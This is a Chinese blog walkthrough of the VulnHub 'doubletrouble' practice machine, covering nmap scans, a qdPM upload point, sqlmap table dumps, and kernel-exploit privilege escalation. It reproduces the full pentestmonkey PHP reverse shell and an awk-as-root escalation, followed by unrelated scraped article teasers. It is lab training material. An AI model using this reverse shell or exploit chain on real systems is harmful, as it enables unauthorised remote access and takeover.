vulnhub靶机doubletrouble
下载地址:doubletrouble: 1 ~ VulnHub
主机发现
arp-scan -l

端口扫描
nmap --min-rate 1000 -p- 192.168.21.151

端口服务扫描
nmap -sV -sT -O -p22,80 192.168.21.151

漏洞扫描
nmap --script=vuln -p22,80 192.168.21.151
先去看看web页面

这里使用的是qdpm
找一下漏洞

接下来弄一下网站的目录
dirsearch -u http://192.168.21.151

找一下不是模板的文件夹


估计要从这个图片入手了,先下载下来

文件西安基础的看一下


用一下新的工具试试


需要密码
那就爆破一下看看行不行



搞定
去看看这个文件

这个就是登入的账号密码了

发现上传点

那就简单的找一个reverse吧,网上随便找
反弹shell脚本(php-reverse-shell)_落寞的魚丶的博客-CSDN博客
<?php// php-reverse-shell - A Reverse Shell implementation in PHP// Copyright (C) 2007 pentestmonkey@pentestmonkey.net//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. The author accepts no liability// for damage caused by this tool. If these terms are not acceptable to you, then// do not use this tool.//// In all other respects the GPL version 2 applies://// This program is free software; you can redistribute it and/or modify// it under the terms of the GNU General Public License version 2 as// published by the Free Software Foundation.//// This program is distributed in the hope that it will be useful,// but WITHOUT ANY WARRANTY; without even the implied warranty of// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the// GNU General Public License for more details.//// You should have received a copy of the GNU General Public License along// with this program; if not, write to the Free Software Foundation, Inc.,// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.//// This tool may be used for legal purposes only. Users take full responsibility// for any actions performed using this tool. If these terms are not acceptable to// you, then do not use this tool.//// You are encouraged to send comments, improvements or suggestions to// me at pentestmonkey@pentestmonkey.net//// Description// -----------// This script will make an outbound TCP connection to a hardcoded IP and port.// The recipient will be given a shell running as the current user (apache normally).//// Limitations// -----------// proc_open and stream_set_blocking require PHP version 4.3+, or 5+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.//// Usage// -----// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);$VERSION = "1.0";$ip = '127.0.0.1'; // CHANGE THIS$port = 1234; // CHANGE THIS$chunk_size = 1400;$write_a = null;$error_a = null;$shell = 'uname -a; w; id; /bin/sh -i';$daemon = 0;$debug = 0;//// Daemonise ourself if possible to avoid zombies later//// pcntl_fork is hardly ever available, but will allow us to daemonise// our php process and avoid zombies. Worth a try...if (function_exists('pcntl_fork')) {// Fork and have the parent process exit$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0); // Parent exits}// Make the current process a session leader// Will only succeed if we forkedif (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";}}?>
记得改ip我忘了
上传就可以

访问就可以(前文的uploads里面)
上传的时候会有报错回显不管就行

访问

记得开netcat

搞定
改一下shell
python -c 'import pty;pty.spawn("/bin/bash")'

信息收集



此时是用root运行的awk
去GTFOBins看一下



拿下

发现root里面不是flag而是一个ova下载下来
在靶机里面开一个http服务

再开一个靶机
主机发现
arp-scan -l

目标192.168.21.162
端口扫描
nmap --min-rate 1000 -p- 192.168.21.162

端口服务扫描
nmap -sV -sT -O -p22,80 192.168.21.162

漏洞扫描
nmap --script=vuln -p22,80 192.168.21.162

去web看看

先试试上面没扫全这个是自己写的大概率有sql

根据提示看到这里确实有问题
直接一把梭
sqlmap -u http://192.168.21.162/index.php --batch --forms -dbs

sqlmap -u http://192.168.21.162/index.php --batch --forms -D doubletrouble –tables

sqlmap -u http://192.168.21.162/index.php --batch --forms -D doubletrouble -T users –columns

sqlmap -u http://192.168.21.162/index.php --batch --forms -D doubletrouble -T users -C username,password –dump

Ssh登入

登入只有一个成功
信息收集

干干净净(linux3.2有洞,利用就行)


复制到桌面

执行建议web

下载文件
编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

执行40847
搞定

切换账户

结束
拿下!
相关文章:
vulnhub靶机doubletrouble
下载地址:doubletrouble: 1 ~ VulnHub 主机发现 arp-scan -l 端口扫描 nmap --min-rate 1000 -p- 192.168.21.151 端口服务扫描 nmap -sV -sT -O -p22,80 192.168.21.151 漏洞扫描 nmap --scriptvuln -p22,80 192.168.21.151 先去看看web页面 这里使用的是qdpm …...
【数据结构】排序算法(二)—>冒泡排序、快速排序、归并排序、计数排序
👀樊梓慕:个人主页 🎥个人专栏:《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》 🌝每一个不曾起舞的日子,都是对生命的辜负 目录 前言 1.冒泡排序 2.快速排序 2.1Hoare版 2.2占…...
SpringCloud-消息组件
1 简介 了解过RabbitMQ后,可能我们会遇到不同的系统在用不同的队列。比如系统A用的Kafka,系统B用的RabbitMQ,但是没了解过Kafka,因此可以使用Spring Stream,它能够屏蔽地产,像JDBC一样,只关心SQ…...
oringin的x轴(按x轴规定值)绘制不规律的横坐标
1.双击x轴 2.选择刻度线标签 3.选择刻度...
ubuntu安装MySQL
一行指令即可! sudo apt install mysql-server常用MySQL服务指令 sudo service mysql status # 查看服务状态 sudo service mysql start # 启动服务 sudo service mysql stop # 停止服务 sudo service mysql restart # 重启服务终端里面进入Mysql 其中-u后面root是我的用户名…...
背包问题学习笔记-多重背包问题
题意描述: 有 N 种物品和一个容量是 V 的背包。第 i 种物品最多有 si 件,每件体积是 vi,价值是 wi。求解将哪些物品装入背包,可使物品体积总和不超过背包容量,且价值总和最大。 输出最大价值。输入格式 第一行两个整数…...
Net相关的各类开源项目
Net相关的各类开源项目 WPFHandyControlLive-ChartsWPFDeveloperswpf-uidesignStylet WebScheduleMasterYiShaAdminBlog.CoreNebula.AdminNewLife.CubeOpenAuth UnityuGUIUnityCsReferenceEpitomeMyUnityFrameWorkKSFrameworkTowerDefense-GameFramework-Demo 通用ClientServer…...
阿里云服务器修改IP地址的两种方法
阿里云服务器可以更换IP地址吗?可以的,创建6小时以内的云服务器ECS可以免费更换三次公网IP地址,超过6小时的云服务器,可以将公网固定IP地址转成弹性EIP,然后通过换绑EIP的方式来更换IP地址。阿里云服务器网分享阿里云服…...
SpringMVC的数据绑定
一、前言 SpringMVC的数据绑定是指将HTTP请求参数绑定到Java对象上。这样可以方便地从请求中获取数据并将其传递给业务逻辑。在SpringMVC中,可以使用RequestParam和ModelAttribute等注解来实现数据绑定。 二、使用RequestParam注解 RequestParam注解用于将请求参…...
1.1.OpenCV技能树--第一单元--OpenCV简介
目录 1.文章内容来源 2.OpenCV简介 3.课后习题代码复现 4.易错点总结与反思 1.文章内容来源 1.题目来源:https://edu.csdn.net/skill/practice/opencv-77f629e4593845b0bf97e74ca8ec95ae/8292?languageopencv&materialId20807 2.资料来源:https://edu.csdn.net/skill…...
transformer不同的包加载模型的结构不一样
AutoModel AutoModelForTokenClassification 结论: AutoModel加载的模型与AutoModelForTokenClassification最后一层是不一样的,从这个模型来看,AutoModelForTokenClassification加载的结果是对的 问题: 为什么AutoModel和Aut…...
【MyBatis-Plus】快速精通Mybatis-plus框架—核心功能
刚才的案例中都是以id为条件的简单CRUD,一些复杂条件的SQL语句就要用到一些更高级的功能了。 1.条件构造器 除了新增以外,修改、删除、查询的SQL语句都需要指定where条件。因此BaseMapper中提供的相关方法除了以id作为where条件以外,还支持…...
C语言:选择+编程(每日一练Day9)
目录 选择题: 题一: 题二: 题三: 题四: 题五: 编程题: 题一:自除数 思路一: 题二:除自身以外数组的乘积 思路二: 本人实力有限可能对…...
蓝桥等考Python组别十三级003
第一部分:选择题 1、Python L13 (15分) 运行下面程序,输出的结果是( )。 t = (1, 2, 2, 1, 4, 3, 2) print(t.count(2)) 1234正确答案:C 2、Python L13 (...
2023年CSP-J真题详解+分析数据(选择题篇)
目录 前言 2023CSP-J江苏卷详解 小结 前言 下面由我来给大家讲解一下CSP-J的选择题部分。 2023CSP-J江苏卷详解 1.答案 A 解析:const在C中是常量的意思,其作用是声明一个变量,值从头至尾不能被修改 2.答案 D 解析:八进制…...
基于三平面映射的地形纹理化【Triplanar Mapping】
你可能遇到过这样的地形:悬崖陡峭的一侧的纹理拉伸得如此之大,以至于看起来不切实际。 也许你有一个程序化生成的世界,你无法对其进行 UV 展开和纹理处理。 推荐:用 NSDT编辑器 快速搭建可编程3D场景 三平面映射(Trip…...
初步了解nodejs语法和web模块
在此, 第一个Node.js实例_js firstnode-CSDN博客 通过node运行一个简单的server.js,实现了一个http服务器; 但是还没有解析server.js的代码,下面看一下; require 指令 在 Node.js 中,使用 require 指令来…...
51单片机+EC11编码器实现可调参菜单+OLED屏幕显示
51单片机+EC11编码器实现可调参菜单+OLED屏幕显示 📍相关篇《stc单片机使用外部中断+EC11编码器实现计数功能》 🎈《STC单片机+EC11编码器实现调节PWM输出占空比》 🌼实际操作效果 🍁整个项目实现框架: 📓EC11接线原理图: 📓项目工程简介 📝仅凭借一个EC11编…...
数据结构刷题训练——二叉树篇(一)
📙作者简介: 清水加冰,目前大二在读,正在学习C/C、Python、操作系统、数据库等。 📘相关专栏:C语言初阶、C语言进阶、C语言刷题训练营、数据结构刷题训练营、有感兴趣的可以看一看。 欢迎点赞 👍…...
2023版 STM32实战5 基本定时器中断
基本定时器简介与特性 -1-时钟可分频 -2-计数模式只可以选择累加 -3-只可以用来定时(含中断) 查看时钟源 如图定时器7的时钟最大为72MHZ 定时时间的计算 通用定时器的时间计算公式为 Tout ((arr1)(psc1&…...
统计学习理论:从VC维到泛化误差,构建稳健CV系统的数学基石
1. 项目概述:从“炼丹”到“建楼”的范式转变在计算机视觉和机器学习这个圈子里混了十几年,我见过太多“炼丹”的场景了。大家热衷于调参、换模型、堆数据,一个模型效果好,大家就一拥而上,但很少有人能说清楚它为什么好…...
移动端3D高斯泼溅渲染优化:Lumina系统架构解析
1. 移动神经渲染的挑战与机遇在增强现实(AR)和虚拟现实(VR)应用中,实时高质量的3D场景渲染一直是核心技术挑战。传统基于三角形网格的渲染管线虽然效率高,但在处理复杂光照和材质时往往力不从心。神经辐射场…...
【Java后端开发】花了2k+多的人民币,烧了几十亿Token,慢慢整理出来适用于Java开发人员的codex配置,还在持续优化中
📕我是廖志伟,一名Java开发工程师、《Java项目实战——深入理解大型互联网企业通用技术》(基础篇)、(进阶篇)、《解密程序员的思维密码——沟通、演讲、思考的实践》作者、清华大学出版社签约作家、Java领域…...
C语言数组:从基础到实践
一、什么是数组数组就是相同类型数据的集合,这些数据在内存中连续存放,数组里的每个位置叫元素,用下标来访问。特别注意:数组的下标从0开始。以下代码就是一个简单的数组应用:二、数组的基本操作2.1 定义与初始化输出结…...
【电子通识】贴片电阻上的丝印332、5R6、1502、01C怎么读出阻值?
背景 【电子通识】为什么大多数插件电阻使用色环表示阻值-CSDN博客中我们讲到了色环电阻怎么读出电阻值,那么我们现在在一些更精密的电路板上看到的贴片电阻要怎么读出电阻值呢? 一般来说除小于0402封装的贴片电阻外,我们可以看到贴片电阻上都…...
效率直接起飞!2026年最值得信赖的专业AI论文软件
2026年AI论文写作工具已从“内容生成”升级为智能学术辅助系统,核心评价维度包括文献真实性、格式合规性、长文本逻辑、查重降重、AIGC合规与多语言支持。本次测评覆盖6款主流工具,测试场景涵盖中英文论文、全流程与专项功能、免费与付费版本,…...
Mumu模拟器ADB连接Unity Profiler全攻略
1. 为什么连不上Mumu的ADB,90%的人卡在第一步就放弃了“ADB device not found”、“offline”、“unauthorized”,这几个词我去年在Unity项目组的晨会白板上写了整整三周。不是因为技术多难,而是因为Mumu模拟器的ADB服务默认不走标准路径&…...
使用taotoken的openai兼容协议为ubuntu上的python脚本赋能
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 使用 Taotoken 的 OpenAI 兼容协议为 Ubuntu 上的 Python 脚本赋能 基础教程类,详细讲解在 Ubuntu 20.04 中࿰…...
水壶装箱检测怎么做?一个独立开发者的实战经验
水壶装箱检测怎么做?一个独立开发者的实战经验 作者:馒头 | 离散型智能制造项目经理 MES开发2年 项目经理3年,主导过电子、机械行业的百万级MES项目。 独立开发过一套装箱检测系统,从需求分析到上线落地全程主导。 踩过的坑、走过…...
使用OpenClaw连接Taotoken配置Agent工作流的具体步骤
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 使用OpenClaw连接Taotoken配置Agent工作流的具体步骤 OpenClaw是一款流行的AI Agent开发框架,它允许开发者构建和运行能…...
